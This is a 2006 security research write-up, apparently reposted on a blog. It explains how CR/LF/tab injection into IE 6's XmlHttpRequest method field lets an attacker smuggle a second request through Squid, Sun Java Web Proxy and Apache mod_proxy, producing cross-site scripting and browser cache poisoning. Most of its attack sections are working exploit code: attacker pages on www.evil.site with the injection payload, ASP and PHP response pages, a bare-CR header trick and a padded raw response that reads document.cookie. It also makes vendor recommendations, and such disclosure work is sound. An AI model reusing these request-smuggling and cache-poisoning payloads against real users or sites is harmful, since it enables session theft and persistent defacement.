"Exploiting the XmlHttpRequest object in IE" part II

IE + some popular forward proxy servers = XSS, defacement (browser cache poisoning)

Or

"Exploiting the XmlHttpRequest object in IE" part II


Amit Klein, May 2006

Preface
=======

When I published my Exploiting the XmlHttpRequest object in IE - Referrer spoofing and a lot more..." [1] paper, I only mentioned an important attack vector in 1-2 sentences. To quote: "This may enable the attacker to conduct various cross-domain attacks (XSS), and this is in fact demonstrated for Firefox in [4] (but I haven't tested it on IE)."

Well, finally I found the time to demonstrate this vector on IE, with several popular forward proxy servers. The results are quite powerful, and indicate that the vulnerability is more serious than perhaps realized earlier.


Introduction
============

In this write-up, I demonstrate how the security issue discussed in [1] can be exploited to force an XSS condition and/or a browser cache poisoning condition in IE 6.0 SP2, provided it is configured to use a forward proxy server (the attack was verified on Squid 2.5.STABLE10-NT, Apache/2.0.55 mod_proxy and Sun Java System Web Proxy Server 4.0 [AKA SunONE proxy 4.0]) but I believe it would practically work on almost all forward proxy servers, possibly up to some tweaking in the exploitation code).

The root cause is the fact that 2 requests can be injected via the XmlHttpRequest object (henceforth XHR; a key component of the AJAX technology), coupled with the fact that IE sends requests for different hosts on the same TCP connection when it uses a forward proxy server.

The attack idea is simple: the user visits the malicious website, and it, using an XHR object, injects 2 requests (where the browser thinks only one request is present) through the proxy server, to the malicious website. The proxy sends back 2 responses, the browser consumes one for the XHR object, and then the malicious Javascript code forces the browser to send another request (to the target website). This request is then matched to the 2nd response (queued at the browser response queue), and thus we have the XSS condition and the browser cache poisoning condition (which is effectively a "local defacement", at the browser level).

The XSS vector was in fact outlined by Yutaka Oiwa for FireFox 1.0.6 in [2] - and that advisory was also originally referenced in [1], yet it is unclear whether Yutaka Oiwa actually lab-tested this particular XSS (and browser cache poisoning) attack.

Please note: this is not a new vulnerability per-se; the basic exploitation was discussed in [1] (and in [2] for FireFox) almost 8 months ago. And the basic flaw in IE's implementation of XHR was discussed in [3] over THREE years ago. This is merely a demonstration of possible outcomes (=attack vectors). Yet I think that their gravity justifies this write-up.

Also note that for brevity's sake, I don't discuss other vectors, such as stealing credentials (including basic HTTP authentication credentials and HttpOnly cookies). That vector was also mentioned in [2] (for FireFox).


The basic scenario - demonstrated with Squid 2.5.STABLE10-NT ============================================================

In essence, the attack comprises of setting up a malicious server (www.evil.site) with 3 pages (http://www.evil.site/1.html, http://www.evil.site/2.html and http://www.evil.site/3.html). In this case, the pages are pure, static HTML pages. The pages will be detailed below; the victim (IE user) is handed a link to the first page, i.e. http://www.evil.site/1.html. Upon clicking this link, an XSS condition is incurred, as well as a local defacement, to the website URL embedded in http://www.evil.site/1.html (in this paper's example, it's http://www.target.site/). As can be appreciated, this has serious implications on www.target.site - while this site can be totally secure, still there's an XSS condition enabling the attacker to steal credentials, etc. Moreover, the browser caches the spoofed www.target.site page, so every subsequent access to http://www.target.site/ by this IE user results in displaying the spoofed page.

Here are the 3 pages needed:

http://www.evil.site/1.html:

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.html\tHTTP/1.1\r\nHost:\twww.evil.site\r\nProxy-Connection:\tKeep-Alive\r\n\r\nGET","/3.html",false);
x.send();
window.open("http://www.target.site/");
</script>
</body>
</html>

http://www.evil.site/2.html:

<html>
<body>
foo
</body>
</html>

http://www.evil.site/3.html:

<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>

Notice the Proxy-Connection: Keep-Alive header inserted to the request stream in 1.html - for some reason, Squid does not maintain HTTP connection persistence unless this header is provided in the request (even when the request is in HTTP/1.1).

The attack flow is as following:

1. The browser loads 1.html, invokes the XHR object, and sends what it thinks is a single request (with weird method, to http://www.evil.site/3.html). This stream is sent to Squid.

2. Squid parses the stream, sees the first HTTP request - to http://www.evil.site/2.html. It serves this request, which is a dummy page.

3. Squid then sees the second HTTP request in the stream, this time to http://www.evil.site/3.html. It serves this request as well.

4. The browser reads the first request from the response stream. It is the content of http://www.evil.site/2.html, which the browser matches to the XHR object request.

5. The browser then proceeds with the Javascript execution in 1.html, and it sends a request to http://www.target.site/. This is immediately matched to the second proxy response, i.e. to the content of http://www.evil.site/3.html. Thus, http://www.evil.site/3.html is considered by the browser to be http://www.target.site/, with XSS condition and browser cache poisoning condition as a consequence.

Regarding the various cache related headers in http://www.evil.site/3.html, and regarding the longevity of the browser cache poisoning (local defacement) attack, see [6].


Sun Java System Web Proxy Server 4.0
====================================

Basically the exploit for Sun Java System Web Proxy Server 4.0 is very similar to the one used for Squid. The only differences are that Java System Web Proxy Server 4.0 does not support HTTP connection persistence for HTTP/1.0 requests, and it doesn't need the Proxy-Connection: Keep-Alive header for HTTP/1.1 requests. So this can be safely removed from 1.html (but can just as well be kept there).

A more problematic aspect of Sun Java System Web Proxy Server 4.0 is the fact that it doesn't send the Proxy-Connection: Keep-Alive header in the response. This makes IE believe that the proxy wants to terminate the connection (IE, after all, assumes that the connection is HTTP/1.0, whose default is to close the connection). One can overcome this by forcing this header with the pages sent out, i.e. with 2.html and 3.html. This is a simple matter of replacing 2.html and 3.html with dynamic pages (e.g. ASP, PHP, etc.) that add "Proxy-Connection: Keep-Alive" to the response headers.

The exploit would be as following (assuming ASP):

http://www.evil.site/1.html:

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.asp\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp://www.evil.site/3.asp\tHTTP/1.1\r\nFoo:","bar",false);
x.send();
window.open("http://www.target.site/");
</script>
</body>
</html>
http://www.evil.site/2.asp:
<% Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<body>
foo
</body>
</html>

http://www.evil.site/3.asp:

<%
Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>

Obviously, ASP is not essential for this attack, it can be realized with any method that can add the Proxy-Connection: Keep- Alive to the response headers of the second and third pages.

The above attack outline was indeed verified with Sun Java System Web Proxy Server 4.0.


A more complex scenario - Apache/2.0.55 mod_proxy
=================================================

Apache/2.0.55 mod_proxy is somewhat similar to Sun Java System Web Proxy Server 4.0 in that it doesn't send out Proxy- Connection: Keep-Alive. Also for some reason, it seems that Apache/2.0.55 is faster than Sun Java System Web Proxy Server 4.0 and Squid 2.5, and thus the second response (to 2.html) appears in the end of the 1024 bytes buffer read by IE with the first response (for a detailed discussion of how IE handles the response stream, please refer to [4]). This means we need to pad 3.html to a buffer boundary, taking into consideration all the response for 2.html as well.

The only thing left is to force Apache mod_proxy to send out Proxy-Connection: Keep-Alive header. This turns out to be not quite trivial. Just sending this header as part of the response from www.evil.site (as shown above with Sun Java System Web Proxy Server 4.0) is not enough - Apache mod_proxy actively strips out this header. A more sophisticated approach should be taken, calling to aid the techniques developed in [5]. The solution is to arrange for the response from www.evil.site to include a header sequence with a CR instead of CRLF:

Foo: bar CR Proxy-Connection: Keep-Alive

Thereby arriving at the desired scenario: Apache mod_proxy understands this as a Foo header, thus not stripping it away, while IE understands this as two headers - Foo: bar and Proxy- Connection: Keep-Alive.


With PHP, this can be realized as following:

<?php
header("Foo: bar\rProxy-Connection: Keep-Alive");
?>
<html>
<body>
foo
</body>
</html>

Of course, as recommended in [5], PHP shouldn't be allowed to inject CR in the header function, but this is immaterial - remember that www.evil.site is fully controlled by the attacker, and this functionality can be implemented in Perl, or even via a customized web server.

This is enough for the XSS condition, but not for browser cache defacement. That's due to the fact that there is no Proxy- Connection: Keep-Alive in the response to http://www.target.site/, and again, IE waits until the connection is terminated. It seems that this prevents IE from caching the resource. Overcoming that is a simple matter of adding this header to 3.html.

The working exploit is, therefore:

http://www.evil.site/1.html:

<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.php\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp://www.evil.site/3.html\tHTTP/1.1\r\nFoo:","/bar",false);
x.send();
window.open("http://www.target.site/");
</script>
</body>
</html>
http://www.evil.site/2.php:

<?php
header("Foo: bar\rProxy-Connection: Keep-Alive");
?>
<html>
<body>
foo
</body>
</html>

http://www.evil.site/3.html:
[padding to 1024 bytes including the response to the previous request]

HTTP/1.1 200 OK
Content-Length: 114
Content-Type: text/html
Cache-Control: public
Expires: Wed, 01 Jan 2020 00:00:00 GMT
Last-Modified: Wed, 17 May 2006 00:00:00 GMT
Proxy-Connection: Keep-Alive

<html>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>

The above attack outline was indeed verified with Apache 2.0.55 mod_proxy.


Recommendations
===============

Mostly quoted almost as-is from [1]:
Site owners
-----------

- Use SSL (as always).

Vendors
-------

- Microsoft is encouraged to filter HT, CR and LF in the method parameter of XHR (HT filtering was recommended in [3] over 3 years ago). Other browser vendors are encouraged to check whether their implementation is vulnerable.

- Proxy server vendors are encouraged not to allow raw HT in the request line.

- Microsoft (and other HTTP client vendors - browsers and proxy servers alike) is encouraged not to share a single TCP connection to the server for requests to different hosts when IE uses a forward proxy server.


Summary
=======

While this is not a new vulnerability, and in some sense not even a new attack vector, the net effect demonstrated here is disturbing to say the least: IE with the latest service pack, when used with many popular forward proxy servers (which is, I believe, quite a common scenario - think corporate America, universities, some ISPs), is vulnerable to XSS (regardless of the target website) and "local defacement".


References
==========

[1] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...", Amit Klein, September 2005
http://www.securityfocus.com/archive/1/411585


[2] "setRequestHeader can be exploited using newline characters", Bugzilla bug 297078
https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c12 (Yutaka Oiwa's advisory)

[3] "XS(T) attack variants which in some cases, eliminate the need for TRACE", Amit Klein, WebAppSec mailing list submission, January 26th, 2003
http://www.securityfocus.com/archive/107/308433

[4] "Divide and Conquer - HTTP Response Splitting, Web Cache poisoning and Related Topics", Amit Klein, March 2004
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[5] "HTTP Response Smuggling", Amit Klein, March 2006
http://www.securityfocus.com/archive/1/425593

[6] "Domain Contamination", Amit Klein, February 2006
http://www.webappsec.org/projects/articles/020606.txt

Comments

Feed You can follow this conversation by subscribing to the comment feed for this post.

Post a comment







Remember personal info?